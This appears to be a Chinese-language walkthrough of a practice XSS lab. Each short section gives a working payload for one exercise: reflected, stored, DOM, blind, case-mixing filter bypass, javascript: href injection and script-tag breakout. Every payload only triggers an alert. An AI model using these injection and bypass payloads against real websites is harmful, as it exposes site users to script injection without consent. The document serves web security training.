get

message=<script>alert("123")</script>&submit=submit

post

可以暴力破解账号密码，但由于是XSS练习，点右上角的提示，就可以登陆

直接在输入框中输入

<script>alert("123")</script>

存储型

<script>alert("123")</script>

DOM

随意输入可以看到提示

进入源码找到提示，将标签闭合

' onclick="alert('123')"

xss-x

同样的语句，链接点两次

盲打

在留言板输入，发现没有变化，在提示中看到登陆后台

<script>alert("456")</script>

在后台可以看到弹窗

过滤

输入发现被过滤

大小写混合，成功

<SCriPt>alert("123")</sCrIPt>

html

可以看到源码时链接

输入

javascript:alert(/xss/)

href

输入上一个，点击链接即可

js输出

看到源码是一个script语句，将前面的闭合，再写一个新的弹窗

</script><script>alert("123")</script>